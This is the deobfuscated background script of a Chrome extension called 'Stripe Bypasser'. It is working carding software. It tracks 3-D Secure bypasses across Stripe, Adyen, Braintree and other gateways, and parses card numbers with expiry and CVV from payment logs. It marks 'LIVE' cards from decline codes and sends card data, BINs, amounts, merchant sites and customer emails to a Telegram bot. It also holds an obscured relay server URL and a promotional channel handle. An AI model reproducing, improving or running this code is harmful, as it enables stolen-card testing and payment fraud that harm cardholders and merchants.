/**
 * ============================================================================
 * STRIPE BYPASSER - CHROME EXTENSION BACKGROUND SCRIPT
 * Version: Deobfuscated & Human Readable
 * Purpose: Payment log interception, notification, proxy, captcha, license
 * ============================================================================
 */

"use strict";

// ============================================================================
// MODULE 1: DEDUPLICATION TRACKER
// Prevents duplicate log processing with TTL support
// ============================================================================

class DeduplicationTracker {
  constructor(options = {}) {
    this.items = new Set();
    this.timeouts = new Map();
    this.maxSize = options.maxSize || 100;
    this.ttl = options.ttl || null;
  }

  has(item) {
    return this.items.has(item);
  }

  add(item, options = {}) {
    // Remove oldest item if at max capacity
    if (this.items.size >= this.maxSize) {
      const oldestItem = this.items.values().next().value;
      this.delete(oldestItem);
    }

    this.items.add(item);

    // Set TTL timeout if configured
    if (this.ttl) {
      if (this.timeouts.has(item)) {
        clearTimeout(this.timeouts.get(item));
      }

      const timeoutId = setTimeout(() => {
        this.items.delete(item);
        this.timeouts.delete(item);
      }, this.ttl);

      this.timeouts.set(item, timeoutId);
    }
  }

  delete(item) {
    this.items.delete(item);
    if (this.timeouts.has(item)) {
      clearTimeout(this.timeouts.get(item));
      this.timeouts.delete(item);
    }
  }

  clear() {
    for (const timeoutId of this.timeouts.values()) {
      clearTimeout(timeoutId);
    }
    this.items.clear();
    this.timeouts.clear();
  }
}

// Global tracker registry
function getTracker(name, options = {}) {
  const trackerName = `__StripeBypasserTracker_${name}`;
  const globalObj = typeof self !== "undefined" && typeof window === "undefined" ? self : window;

  if (!globalObj[trackerName]) {
    globalObj[trackerName] = new DeduplicationTracker(options);
  }

  return globalObj[trackerName];
}

// Export deduplication module
const DeduplicationModule = {
  Tracker: DeduplicationTracker,
  getTracker: getTracker,
  checkDuplicate: function(key, value, options = {}) {
    const tracker = getTracker(key, options);
    if (tracker.has(value)) {
      return true; // Is duplicate
    }
    tracker.add(value, options.ttl);
    return false; // Not duplicate
  }
};

// Expose to global scope
if (typeof window !== "undefined") {
  window.StripeBypasserDeduplication = DeduplicationModule;
}
if (typeof self !== "undefined") {
  self.StripeBypasserDeduplication = DeduplicationModule;
}

// ============================================================================
// MODULE 2: STATISTICS HANDLER
// Tracks bypass attempts, successes, failures
// ============================================================================

const defaultStats = {
  totalRequests: 0,
  bypassedRequests: 0,
  failedRequests: 0,
  threeDSBypasses: 0,
  lastBypassTime: null
};

const threeDSStatsTracker = getTracker("3DSStats", { maxSize: 500, ttl: 2000 });

/**
 * Update general statistics
 */
function handleUpdateStats(updateData, callback) {
  let callbackExecuted = false;

  chrome.storage.local.get(["stats"], (result) => {
    try {
      if (!result) {
        callbackExecuted = true;
        callback({ success: false, error: "Storage read failed" });
        return;
      }

      const stats = result.stats || defaultStats;
      stats.totalRequests = (stats.totalRequests || 0) + 1;

      if (updateData.success) {
        stats.bypassedRequests = (stats.bypassedRequests || 0) + 1;
        stats.lastBypassTime = Date.now();
      } else {
        stats.failedRequests = (stats.failedRequests || 0) + 1;
      }

      chrome.storage.local.set({ stats: stats }, () => {
        if (!callbackExecuted) {
          callbackExecuted = true;
          if (chrome.runtime.lastError) {
            callback({ success: false, error: chrome.runtime.lastError.message });
          } else {
            callback({ success: true });
          }
        }
      });
    } catch (error) {
      if (!callbackExecuted) {
        callbackExecuted = true;
        callback({ success: false, error: error.message });
      }
    }
  });
}

/**
 * Update 3DS bypass statistics with deduplication
 */
function handleUpdate3DSStats(updateData, callback) {
  const timestamp = Date.now();
  const uniqueKey = updateData.uniqueKey || `default_${timestamp}`;

  // Skip if duplicate within TTL window
  if (threeDSStatsTracker.has(uniqueKey)) {
    callback({ success: true, skipped: true });
    return;
  }

  threeDSStatsTracker.add(uniqueKey);

  let callbackExecuted = false;

  // Use storage queue if available
  const storageQueue = self.storageQueue || { add: (fn) => Promise.resolve(fn()) };

  storageQueue.add(() => new Promise((resolve) => {
    chrome.storage.local.get(["stats"], (result) => {
      try {
        if (!result) {
          callbackExecuted = true;
          callback({ success: false, error: "Storage read failed" });
          resolve();
          return;
        }

        const stats = result.stats || defaultStats;
        stats.threeDSBypasses = (stats.threeDSBypasses || 0) + 1;

        chrome.storage.local.set({ stats: stats }, () => {
          if (!callbackExecuted) {
            callbackExecuted = true;
            if (chrome.runtime.lastError) {
              callback({ success: false, error: chrome.runtime.lastError.message });
            } else {
              callback({ success: true });
            }
          }
          resolve();
        });
      } catch (error) {
        if (!callbackExecuted) {
          callbackExecuted = true;
          callback({ success: false, error: error.message });
        }
        resolve();
      }
    });
  }));
}

/**
 * Handle notification (placeholder)
 */
function handleNotification(data, callback) {
  try {
    callback({ success: true });
  } catch (error) {
    callback({ 
      success: false, 
      error: error?.message || "Notification error" 
    });
  }
}

// Expose stats module
if (typeof self !== "undefined") {
  self.StripeBypasserStatsHandler = {
    STATS: defaultStats,
    handleUpdateStats: handleUpdateStats,
    handleUpdate3DSStats: handleUpdate3DSStats
  };

  self.StripeBypasserNotificationHandler = {
    handle: handleNotification
  };
}

// ============================================================================
// MODULE 3: LOG FILTER & PARSER
// Detects and parses payment-related console logs
// ============================================================================

// Decoded from charCode: [65,69,83,45,71,67,77] = "AES-GCM"
const ENCRYPTION_ALGORITHM = "AES-GCM";

// Decoded from charCode array = "https://db-auth-svc-v2.testdeep.workers.dev"
const RELAY_SERVER_URL = "https://db-auth-svc-v2.testdeep.workers.dev";

// Log timestamp pattern: [12:34:56] ✅/❌/⚠️/ℹ️
const LOG_TIMESTAMP_REGEX = /^[\d{1,2}:\d{2}:\d{2}(?:\s(?:AM|PM))?]\s?[❌✅⚠️ℹ️]/;

// Supported payment gateways
const SUPPORTED_GATEWAYS = [
  "Stripe: ",
  "Paddle: ",
  "Smart Glocal: ",
  "Square: ",
  "Checkout.com: ",
  "Checkout: ",
  "EdfaPay: ",
  "NordPay: ",
  "Braintree: ",
  "Xsolla: ",
  "HiPay: ",
  "Steam: ",
  "GOG: ",
  "Adyen: ",
  "Airwallex: "
];

// Card number pattern (BIN or full card)
const CARD_NUMBER_REGEX = /\d{13,19}|\d{1,2}|\d{2,4}(|\d{3,4})?/;

// Payment status keywords
const PAYMENT_KEYWORDS = [
  "Decline Code: ",
  "Card Declined: ",
  "Payment Succeeded",
  "Checkout Completed",
  "Payment Paid",
  "Payment Failed",
  "insufficient_funds",
  "stolen_card",
  "lost_card",
  "expired_card",
  "incorrect_cvc",
  "card_declined",
  "processing_error",
  "do_not_honor"
];

/**
 * Check if a log line is payment-related
 */
function isPaymentLogLine(line, requireTimestamp = true, requireBypassKeyword = false) {
  if (!line || typeof line !== "string") return false;

  const trimmed = line.trim();
  if (!trimmed) return false;

  // Validate timestamp format if required
  if (requireTimestamp && !LOG_TIMESTAMP_REGEX.test(trimmed)) {
    return false;
  }

  // Check for gateway identifier
  for (const gateway of SUPPORTED_GATEWAYS) {
    if (trimmed.includes(gateway)) return true;
  }

  // Check for card pattern or payment keywords
  const hasCardPattern = CARD_NUMBER_REGEX.test(trimmed);
  const hasPaymentKeyword = PAYMENT_KEYWORDS.some(keyword => trimmed.includes(keyword));

  // Check for bypass keywords if required
  const hasBypassKeyword = requireBypassKeyword && 
    /\b(BYPASSED|BYPASS|CRITICAL)\b/i.test(trimmed);

  return hasCardPattern || hasPaymentKeyword || hasBypassKeyword;
}

/**
 * Filter array of log lines for payment-related entries
 */
function filterPaymentLogs(lines, requireTimestamp = true, requireBypassKeyword = false) {
  return lines.filter(line => 
    isPaymentLogLine(line, requireTimestamp, requireBypassKeyword)
  );
}

/**
 * Filter and truncate logs to max 1000 lines
 */
function filterAndTruncateLogs(logText, requireTimestamp = true, requireBypassKeyword = false) {
  if (!logText || !logText.trim()) return " ";

  const filteredLogs = filterPaymentLogs(
    logText.split("\n").filter(line => line.trim()),
    requireTimestamp,
    requireBypassKeyword
  );

  // Truncate to last 1000 lines if too long
  const truncatedLogs = filteredLogs.length > 1000 
    ? filteredLogs.slice(-1000) 
    : filteredLogs;

  return truncatedLogs.length > 0 
    ? truncatedLogs.join("\n") + "\n" 
    : " ";
}

/**
 * Check if message contains payment-related content
 */
function isPaymentMessage(message) {
  if (!message || !message.trim()) return false;

  for (const gateway of SUPPORTED_GATEWAYS) {
    if (message.includes(gateway)) return true;
  }

  return PAYMENT_KEYWORDS.some(keyword => message.includes(keyword)) ||
         CARD_NUMBER_REGEX.test(message);
}

/**
 * Extract clean message content from formatted log line
 * Input: "[12:34:56] ✅ Stripe: Payment Succeeded"
 * Output: "Stripe: Payment Succeeded"
 */
function extractLogMessageContent(logLine) {
  if (!logLine || !logLine.trim()) return null;

  const trimmed = logLine.trim();

  // Try to match timestamp + emoji + content pattern
  let match = trimmed.match(/^\[\d{1,2}:\d{2}:\d{2}(?:\s+(?:AM|PM))?]\s*[❌✅⚠️ℹ️]\s+(.+)$/);
  if (match?.[1]) {
    return match[1].trim();
  }

  // Fallback: just remove timestamp
  if (/^\[\d{1,2}:\d{2}:\d{2}/.test(trimmed)) {
    match = trimmed.match(/^\[[^\]]+\]\s*(.+)$/);
    if (match?.[1]) {
      return match[1].replace(/^[❌✅⚠️ℹ️\s]+/, "").trim();
    }
  }

  return null;
}

/**
 * Check if two log lines are duplicates (ignoring whitespace)
 */
function isDuplicateLogLine(line1, line2) {
  if (!line1 || !line2) return false;

  const content1 = extractLogMessageContent(line1);
  if (!content1) return false;

  const normalized1 = content1.replace(/\s+/g, " ").trim();
  const normalized2 = line2.replace(/\s+/g, " ").trim();

  return normalized1 === normalized2;
}

// Expose log filter module
const LogFilterModule = {
  isPaymentLogLine: isPaymentLogLine,
  filterPaymentLogs: filterPaymentLogs,
  filterAndTruncateLogs: filterAndTruncateLogs,
  isPaymentMessage: isPaymentMessage,
  extractLogMessageContent: extractLogMessageContent,
  isDuplicateLogLine: isDuplicateLogLine
};

if (typeof window !== "undefined") {
  window.StripeBypasserLogFilter = LogFilterModule;
}
if (typeof self !== "undefined" && typeof chrome !== "undefined") {
  self.StripeBypasserLogFilter = LogFilterModule;
}

// ============================================================================
// MODULE 4: LOGGER & DEBUG CONFIG
// ============================================================================

const loggerConfig = {
  enableLogging: false,
  enableDetailedErrors: true,
  enableDebugLogs: false
};

// Load debug settings from storage
(function loadDebugSettings() {
  if (typeof chrome !== "undefined" && chrome?.storage?.local) {
    try {
      chrome.storage.local.get(["bypasserSettings"], (result) => {
        if (result?.bypasserSettings?.debugLogging !== undefined) {
          loggerConfig.enableLogging = !!result.bypasserSettings.debugLogging;
          loggerConfig.enableDebugLogs = !!result.bypasserSettings.debugLogging;
        }
      });
    } catch (error) {
      // Ignore storage errors
    }
  }
})();

// Listen for settings changes
if (typeof chrome !== "undefined" && chrome?.storage?.onChanged) {
  try {
    chrome.storage.onChanged.addListener((changes, namespace) => {
      if (namespace === "local" && changes.bypasserSettings) {
        const newSettings = changes.bypasserSettings.newValue;
        if (newSettings?.debugLogging !== undefined) {
          loggerConfig.enableLogging = !!newSettings.debugLogging;
          loggerConfig.enableDebugLogs = !!newSettings.debugLogging;
        }
      }
    });
  } catch (error) {
    // Ignore listener errors
  }
}

// Logger functions
const Logger = {
  log: (message, ...args) => {
    if (loggerConfig.enableLogging) {
      if (args.length > 0) {
        console.log("[StripeBypasser]", message, ...args);
      } else {
        console.log("[StripeBypasser]", message);
      }
    }
  },
  debug: (message, ...args) => {
    if (loggerConfig.enableDebugLogs) {
      if (args.length > 0) {
        console.debug("[StripeBypasser]", message, ...args);
      } else {
        console.debug("[StripeBypasser]", message);
      }
    }
  },
  error: (message, ...args) => {
    console.error("[StripeBypasser]", message, args.length > 0 ? args : "");
  },
  warn: (message, ...args) => {
    if (loggerConfig.enableLogging) {
      if (args.length > 0) {
        console.warn("[StripeBypasser]", message, ...args);
      } else {
        console.warn("[StripeBypasser]", message);
      }
    }
  }
};

if (typeof window !== "undefined") {
  window.StripeBypasserLogger = Logger;
}
if (typeof self !== "undefined" && typeof chrome !== "undefined") {
  self.StripeBypasserLogger = Logger;
}

// ============================================================================
// MODULE 5: TELEGRAM NOTIFIER
// Sends payment notifications to Telegram
// ============================================================================

/**
 * Send message via Telegram Bot API
 */
async function sendTelegramMessage(botToken, chatId, message) {
  if (!botToken || !chatId || !message) return false;

  try {
    const endpoint = `https://api.telegram.org/bot${botToken}/sendMessage`;
    
    // Check if message needs HTML parsing
    const needsHtmlParse = message.includes(" ") || 
                          message.includes("`") || 
                          message.includes("<a href");

    const payload = {
      chat_id: parseInt(chatId) || chatId,
      text: message
    };

    if (needsHtmlParse) {
      payload.parse_mode = "HTML";
    }

    const response = await fetch(endpoint, {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify(payload)
    });

    if (!response.ok) {
      const errorData = await response.json().catch(() => ({}));
      Logger.warn("[Telegram] Failed to send message:", errorData);
      return false;
    }

    return true;
  } catch (error) {
    Logger.warn("[Telegram] Error sending message:", error);
    return false;
  }
}

/**
 * Format success notification message
 */
function formatSuccessMessage(data) {
  const timestamp = new Date().toLocaleString();
  
  const cardInfo = data.cardInfo 
    ? `\n💳 Card: <code>${data.cardInfo}</code>` 
    : "";
  
  const amount = data.amount 
    ? `\n💰 Amount: <code>${data.amount}</code>` 
    : "";
  
  const declineCode = data.declineCode 
    ? `\n📋 Decline Code: <code>${data.declineCode}</code>` 
    : "";
  
  const cardResponse = data.cardResponse 
    ? `\n💬 Card Response: <code>${data.cardResponse}</code>` 
    : "";
  
  const invoiceLink = data.invoiceLink 
    ? `\n🔗 Invoice: <a href="${data.invoiceLink}">View Invoice</a>` 
    : "";

  // Determine status badge
  let statusBadge = "✅ Payment Succeeded";
  const isLiveCard = data.message?.includes("LIVE") || 
    (data.declineCode && ["incorrect_cvc", "insufficient_funds"].includes(data.declineCode));

  if (isLiveCard) {
    statusBadge = "🟢 LIVE Card";
  }

  return `${statusBadge}

🕐 Time: <code>${timestamp}</code>${cardInfo}${declineCode}${isLiveCard && declineCode && cardResponse ? cardResponse : ""}${amount}${!isLiveCard && invoiceLink ? invoiceLink : ""}${isLiveCard ? "" : "\n\n🎉 Checkout completed successfully!"}

📢 Join: @binbhai`;
}

/**
 * Format failure notification message
 */
function formatFailureMessage(data) {
  const timestamp = new Date().toLocaleString();

  return `❌ <b>Payment Failed</b>

🕐 Time: <code>${timestamp}</code>${data.cardInfo ? `\n💳 Card: ${data.cardInfo}` : ""}${data.declineCode ? `\n❌ Decline Code: ${data.declineCode}` : ""}${data.reason ? `\n📝 Reason: ${data.reason}` : ""}`;
}

// Telegram notifier module
const TelegramNotifier = {
  sendMessage: sendTelegramMessage,
  
  sendNotification: async function(type, data = {}) {
    try {
      const settings = (await chrome.storage.local.get(["bypasserAdvancedSettings"]))
        .bypasserAdvancedSettings || {};

      // Check if Telegram is enabled
      if (!settings.telegramEnabled || !settings.telegramBotToken || !settings.telegramChatId) {
        return false;
      }

      // Determine message format
      let message;
      if (data.message && 
          (data.message.includes("⚡ Status:") || 
           data.message.includes("💳 Card:") || 
           data.message.includes("🌐 Gateway:") || 
           data.message.includes("🔢 Bin:") || 
           data.message.includes("🏪 Merchant:"))) {
        message = data.message;
      } else if (type === "success") {
        message = formatSuccessMessage(data);
      } else if (type === "failure") {
        message = formatFailureMessage(data);
      } else {
        message = data.message || "Notification from Naruto Bypasser";
      }

      return await sendTelegramMessage(
        settings.telegramBotToken,
        settings.telegramChatId,
        message
      );
    } catch (error) {
      Logger.warn("[Telegram] Error in sendNotification:", error);
      return false;
    }
  },

  formatSuccessMessage: formatSuccessMessage,
  formatFailureMessage: formatFailureMessage
};

if (typeof window !== "undefined") {
  window.StripeBypasserTelegramNotifier = TelegramNotifier;
}
if (typeof self !== "undefined") {
  self.StripeBypasserTelegramNotifier = TelegramNotifier;
}

// ============================================================================
// MODULE 6: LOG HANDLER & PERSISTENCE
// Stores and manages intercepted payment logs
// ============================================================================

let logBuffer = [];
let isLogBufferLoaded = false;
let persistTimeout = null;
const MAX_LOG_SIZE = 10240; // 10KB
let persistPromise = Promise.resolve();
let loadPromise = null;

/**
 * Persist logs to storage
 */
function persistLogs() {
  if (persistTimeout) {
    clearTimeout(persistTimeout);
    persistTimeout = null;
  }

  persistPromise = persistPromise.catch(() => {}).then(() => new Promise((resolve, reject) => {
    const logEntries = logBuffer
      .filter(line => typeof line === "string" && line.trim())
      .slice(-2000);
    const logContent = logEntries.join("\n") + (logEntries.length > 0 ? "\n" : "");
    
    chrome.storage.local.set({
      dbLogEntries: logEntries,
      dbLastLogPersistAt: Date.now()
    }, () => {
      if (chrome.runtime.lastError) {
        console.error("[LogHandler] Persist failed:", chrome.runtime.lastError.message);
        reject(new Error(chrome.runtime.lastError.message));
        return;
      }

      chrome.storage.local.set({ bypasserLogs: logContent }, () => {
        if (chrome.runtime.lastError) {
          console.error("[LogHandler] bypasserLogs persist failed:", chrome.runtime.lastError.message);
        }
        resolve();
      });
    });
  }));

  return persistPromise;
}

/**
 * Load logs from storage
 */
function loadLogs() {
  if (isLogBufferLoaded) return Promise.resolve();

  if (!loadPromise) {
    loadPromise = new Promise((resolve) => {
      chrome.storage.local.get(["bypasserLogs", "dbLogEntries"], (result) => {
        if (!isLogBufferLoaded) {
          const storedEntries = Array.isArray(result?.dbLogEntries)
            ? result.dbLogEntries.filter(line => typeof line === "string" && line.trim())
            : [];
          if (storedEntries.length > 0) {
            logBuffer = storedEntries.slice(-2000);
          } else {
            const logContent = result?.bypasserLogs || "";
            logBuffer = logContent.split("\n").filter(line => line.trim()).slice(-2000);
          }
          isLogBufferLoaded = true;
        }
        resolve();
      });

      // Timeout fallback
      setTimeout(() => {
        if (!isLogBufferLoaded) {
          isLogBufferLoaded = true;
          resolve();
        }
      }, 2000);
    });
  }

  return loadPromise;
}

// Track payment intent to card mapping
const paymentIntentMap = new Map();

/**
 * Store card number associated with payment intent
 */
function storeCardForPayment(cardNumber, paymentData) {
  if (!cardNumber || !paymentData) return;

  // Extract payment intent ID from various possible fields
  const paymentIntentId = 
    paymentData.payment_intent || 
    paymentData.payment_intent_id || 
    paymentData.id || 
    paymentData.client_secret?.split("_secret")[0] || 
    null;

  if (!paymentIntentId) return;

  const intentKey = typeof paymentIntentId === "string" 
    ? paymentIntentId 
    : paymentIntentId?.id || String(paymentIntentId);

  // Only store for Stripe payment intents
  if (intentKey.startsWith("pi_") || intentKey.startsWith("cs_")) {
    chrome.storage.local.get(["cardByPayment"], (result) => {
      const cardMapping = result?.cardByPayment || {};
      cardMapping[intentKey] = cardNumber;

      // Keep only last 50 mappings
      const keys = Object.keys(cardMapping);
      if (keys.length > 50) {
        delete cardMapping[keys[0]];
      }

      chrome.storage.local.set({ cardByPayment: cardMapping }, () => {});
    });
  }
}

/**
 * Get current timestamp in HH:MM:SS format
 */
function getCurrentTimestamp() {
  const now = new Date();
  return String(now.getHours()).padStart(2, "0") + ":" +
         String(now.getMinutes()).padStart(2, "0") + ":" +
         String(now.getSeconds()).padStart(2, "0");
}

// Card number regex for extraction
const CARD_EXTRACT_REGEX = /(\d{13,19}\|\d{1,2}\|\d{2,4}\|\d{3,4})/;
const recentLogs = new Map();

// Gateway list for log detection
const GATEWAY_LIST = [
  "Stripe: ", "Steam: ", "GOG: ", "Adyen: ", "Paddle: ", 
  "Square: ", "NordPay: ", "Braintree: ", "Xsolla: ", 
  "Checkout: ", "Smart Glocal: ", "EdfaPay: ", "HiPay: ", "Checkout.com: "
];

/**
 * Add log entry to buffer
 */
function addLogEntry(entry) {
  logBuffer.push(entry);
  
  // Trim buffer if too large
  if (logBuffer.length > 2000) {
    logBuffer = logBuffer.slice(-2000);
  }

  return persistLogs();
}

/**
 * Process and send Telegram notification for payment log
 */
function processAndNotify(logMessage, paymentData, cardNumber) {
  try {
    if (typeof self.StripeBypasserTelegramNotifier === "undefined") return;

    // Extract amount from log message
    let amount = paymentData?.amount || null;
    if (!amount && logMessage) {
      const amountMatch1 = logMessage.match(/Amount:\s*([A-Z]{3}\s*[\d,]+.?\d*)/i);
      const amountMatch2 = logMessage.match(/(USD|EUR|GBP)\s*([\d,]+.?\d*)/i);
      const amountMatch3 = logMessage.match(/([\d,]+.?\d*)\s*(USD|EUR|GBP)/i);

      if (amountMatch1) {
        amount = amountMatch1[1];
      } else if (amountMatch2) {
        amount = amountMatch2[1] + " " + amountMatch2[2];
      } else if (amountMatch3) {
        amount = amountMatch3[2] + " " + amountMatch3[1];
      }
    }

    // Normalize amount format
    if (amount) {
      amount = amount.trim().replace(/\s+/g, " ");
      const currencyMatch = amount.match(/^(USD|EUR|GBP|CAD|AUD|JPY|CHF|NZD|SEK|NOK|DKK|PLN|HUF|CZK|ILS|MXN|BRL|INR|SGD|HKD|KRW|TRY|ZAR|CNY)\s/i);
      if (!currencyMatch) {
        amount = "USD " + amount.replace(/[^\d.,]/g, "");
      }
    }

    // Extract BIN from card number
    const bin = cardNumber ? cardNumber.split("|")[0].substring(0, 6) : null;

    // Extract response details
    const bankResponse = paymentData?.responseText || 
                        paymentData?.responseData?.outcome?.seller_message || 
                        "";
    const gateway = paymentData?.gateway || "stripe";
    const merchant = paymentData?.merchant || 
                    paymentData?.responseData?.display_items?.[0]?.description || 
                    "Checkout";

    // Extract URLs
    let successUrl = paymentData?.successUrl || paymentData?.url || null;
    if (!successUrl && paymentData?.responseData) {
      successUrl = paymentData.responseData.success_url || 
                   paymentData.responseData.url || 
                   null;
    }

    let siteUrl = paymentData?.siteUrl || null;
    if (!siteUrl && paymentData?.responseData) {
      siteUrl = paymentData.responseData.business_url || null;
    }
    if (!siteUrl && successUrl) {
      try {
        siteUrl = new URL(successUrl).origin;
      } catch (e) {
        const originMatch = successUrl.match(/^(https?:\/\/[^/]+)/);
        siteUrl = originMatch ? originMatch[1] : null;
      }
    }
    if (!siteUrl && paymentData?.url) {
      try {
        siteUrl = new URL(paymentData.url).origin;
      } catch (e) {}
    }

    // Extract customer email
    let customerEmail = paymentData?.customerEmail || null;
    if (!customerEmail && paymentData?.responseData) {
      const responseData = paymentData.responseData;
      customerEmail = responseData.customer_email || 
                     responseData.customer_details?.email || 
                     responseData.payment_intent?.receipt_email || 
                     responseData.email || 
                     null;
    }

    // Format timestamp
    const formattedTime = new Date().toLocaleString("en-US", {
      month: "2-digit",
      day: "2-digit",
      year: "numeric",
      hour: "2-digit",
      minute: "2-digit",
      second: "2-digit",
      hour12: true
    });

    // Detect live card
    const isLiveCard = logMessage?.includes("LIVE") && 
      (logMessage.includes("insufficient_funds") || 
       logMessage.includes("incorrect_cvc"));

    const declineCode = paymentData?.declineCode || null;

    // Build notification message
    let notificationMessage = `${isLiveCard ? "🟢 LIVE Card" : "✅ Payment Succeeded"}

🕐 Time: ${formattedTime}`;

    if (cardNumber) {
      notificationMessage += `\n💳 Card: <code>${cardNumber}</code>`;
    }
    if (bin) {
      notificationMessage += `\n🔢 Bin: ${bin}`;
    }
    if (declineCode) {
      notificationMessage += `\n⚡ Status: <code>${declineCode}</code>`;
    }

    const cardResponse = paymentData?.cardResponse || null;
    if (cardResponse && cardResponse !== declineCode) {
      notificationMessage += `\n💬 Response: ${cardResponse}`;
    }
    if (amount) {
      notificationMessage += `\n💰 Amount: ${amount}`;
    }
    if (bankResponse && bankResponse !== "Thank you for the payment!" && 
        bankResponse !== declineCode && bankResponse !== cardResponse) {
      notificationMessage += `\n💬 Bank: ${bankResponse}`;
    }

    notificationMessage += `\n🌐 Gateway: ${gateway}`;
    if (merchant && merchant !== "Checkout") {
      notificationMessage += `\n🏪 Merchant: ${merchant}`;
    }
    if (!isLiveCard && successUrl && successUrl !== "N/A") {
      notificationMessage += `\n🔗 Success URL: ${successUrl}`;
    }
    if (siteUrl && siteUrl !== "N/A") {
      notificationMessage += `\n🌐 Site: ${siteUrl}`;
    }
    if (customerEmail && customerEmail !== "N/A") {
      notificationMessage += `\n📧 Email: ${customerEmail}`;
    }

    notificationMessage += isLiveCard 
      ? "\n\n🔥 Live card detected!\n\n📢 Join: @binbhai" 
      : "\n\n🎉 Checkout completed successfully!\n\n📢 Join: @binbhai";

    // Send notification
    const notificationData = {
      message: notificationMessage,
      cardInfo: cardNumber,
      amount: amount
    };

    if (bin) notificationData.bin = bin;
    if (declineCode) notificationData.declineCode = declineCode;
    if (cardResponse && cardResponse !== declineCode) notificationData.cardResponse = cardResponse;
    if (bankResponse && bankResponse !== "Thank you for the payment!") notificationData.responseText = bankResponse;
    if (gateway) notificationData.gateway = gateway;
    if (merchant && merchant !== "Checkout") notificationData.merchant = merchant;
    if (!isLiveCard && successUrl && successUrl !== "N/A") notificationData.successUrl = successUrl;
    if (siteUrl && siteUrl !== "N/A") notificationData.siteUrl = siteUrl;
    if (customerEmail && customerEmail !== "N/A") notificationData.customerEmail = customerEmail;

    self.StripeBypasserTelegramNotifier.sendNotification("success", notificationData)
      .catch(error => {
        console.error("[Telegram] Failed:", error);
      });
  } catch (error) {
    console.error("[Telegram] Error:", error);
  }
}

/**
 * Handle incoming payment log
 */
function handlePaymentLog(logData, callback) {
  if (logData.message && logData.message.trim()) {
    loadLogs().then(() => {
      try {
        let message = logData.message;

        // Truncate if too long
        if (message.length > MAX_LOG_SIZE) {
          message = message.substring(0, MAX_LOG_SIZE) + "...[truncated]";
        }

        let formattedLog = message.trim().replace(/\n/g, " | ");
        if (!formattedLog) {
          callback({ success: false, error: "Empty log message" });
          return;
        }

        // Check for card number and store mapping
        let logText = formattedLog;
        if (GATEWAY_LIST.some(gateway => logText.includes(gateway)) && 
            CARD_EXTRACT_REGEX.test(logText)) {
          const cardMatch = logText.match(CARD_EXTRACT_REGEX);
          if (cardMatch) {
            const cardNumber = cardMatch[1];
            chrome.storage.local.set({ lastCardUsed: cardNumber }, () => {});

            const paymentData = logData.responseData || 
                               logData.paymentData || 
                               logData.data || 
                               (logData.id ? { id: logData.id } : null);

            if (paymentData) {
              storeCardForPayment(cardMatch[1], paymentData);
            }
          }
        }

        // Check for payment success/failure
        const isPaymentSuccess = formattedLog.includes("Payment Succeeded") || 
                                formattedLog.includes("Checkout Completed") || 
                                formattedLog.includes("Payment Paid");
        const isLiveCardDecline = formattedLog.includes("LIVE") && 
                                 formattedLog.includes("Decline Code");

        // Deduplication check (3 second window)
        const normalizedLog = formattedLog.toLowerCase().replace(/\s+/g, " ").trim();
        const timestamp = Date.now();

        if (recentLogs.has(normalizedLog) && 
            timestamp - recentLogs.get(normalizedLog) < 3000) {
          callback({ success: true, skipped: true });
          return;
        }
        recentLogs.set(normalizedLog, timestamp);

        // Keep only last 100 entries
        if (recentLogs.size > 200) {
          const entries = Array.from(recentLogs.entries());
          recentLogs.clear();
          entries.slice(-Math.floor(100)).forEach(([key, value]) => {
            recentLogs.set(key, value);
          });
        }

        // Add to log buffer
        const logType = logData.logType || "info";
        const logIcon = logType === "error" ? "❌" : 
                       logType === "success" ? "✅" : 
                       logType === "info" ? "ℹ️" : "⚠️";

        addLogEntry(`[${getCurrentTimestamp()}] ${logIcon} ${formattedLog}`).then(() => {
          callback({ success: true });

          // Trigger notification for successful payments
          if (logType === "success" && (isPaymentSuccess || isLiveCardDecline)) {
            const cardNumber = logData.cardInfo || 
                              (formattedLog.match(CARD_EXTRACT_REGEX) || [])[1] || 
                              null;

            // Get card from payment intent mapping
            function getCardFromPaymentIntent(paymentData, cardCallback) {
              if (!paymentData) {
                cardCallback(null);
                return;
              }

              let paymentIntentId = 
                paymentData.payment_intent || 
                paymentData.payment_intent_id || 
                paymentData.id || 
                null;

              if (!paymentIntentId && paymentData.client_secret) {
                paymentIntentId = paymentData.client_secret.split("_secret")[0];
              }

              if (!paymentIntentId) {
                cardCallback(null);
                return;
              }

              const intentKey = typeof paymentIntentId === "string" 
                ? paymentIntentId 
                : paymentIntentId?.id || String(paymentIntentId);

              chrome.storage.local.get(["cardByPayment"], (result) => {
                cardCallback(result?.cardByPayment?.[intentKey] || null);
              });
            }

            function sendNotificationWithCard(cardNumber) {
              if (cardNumber) {
                processAndNotify(formattedLog, logData, cardNumber);
              } else {
                chrome.storage.local.get(["lastCardUsed"], (result) => {
                  const lastCard = result?.lastCardUsed || null;
                  if (lastCard && logData.responseData) {
                    storeCardForPayment(lastCard, logData.responseData);
                  }
                  processAndNotify(formattedLog, logData, lastCard);
                });
              }
            }

            getCardFromPaymentIntent(logData.responseData || logData, sendNotificationWithCard);
          }
        }).catch(error => {
          console.error("[LogHandler] Persist error:", error);
          callback({ success: false, error: error?.message || "Persist failed" });
        });
        return;
      } catch (error) {
        console.error("[LogHandler] Error:", error);
        callback({ success: false, error: error.message });
      }
    });
  } else {
    callback({ success: false, error: "Empty log message" });
  }
}

/**
 * Handle bypasser event log
 */
function handleBypasserEvent(eventData, callback) {
  if (eventData.message && eventData.message.trim()) {
    loadLogs().then(() => {
      try {
        let message = eventData.message;

        // Truncate if too long
        if (message.length > MAX_LOG_SIZE) {
          message = message.substring(0, MAX_LOG_SIZE) + "...[truncated]";
        }

        const formattedMessage = message.trim();
        if (!formattedMessage) {
          callback({ success: false, error: "Empty event message" });
          return;
        }

        // Determine icon based on event type
        const icon = eventData.eventType === "error" ? "❌" : 
                    eventData.eventType === "success" ? "✅" : "⚠️";

        addLogEntry(`[${getCurrentTimestamp()}] ${icon} ${formattedMessage}`).then(() => {
          callback({ success: true });
        }).catch(error => {
          console.error("[LogHandler] Event persist error:", error);
          callback({ success: false, error: error?.message || "Persist failed" });
        });
        return;
      } catch (error) {
        console.error("[LogHandler] Event error:", error);
        callback({ success: false, error: error.message });
      }
    });
  } else {
    callback({ success: false, error: "Empty event message" });
  }
}

// Listen for log storage changes
if (typeof chrome !== "undefined" && chrome?.storage?.onChanged) {
  chrome.storage.onChanged.addListener((changes, namespace) => {
    if (namespace === "local" && changes.bypasserLogs) {
      const newLogs = changes.bypasserLogs.newValue;
      if (newLogs === "" || newLogs === null) {
        logBuffer = [];
      }
    }
  });
}

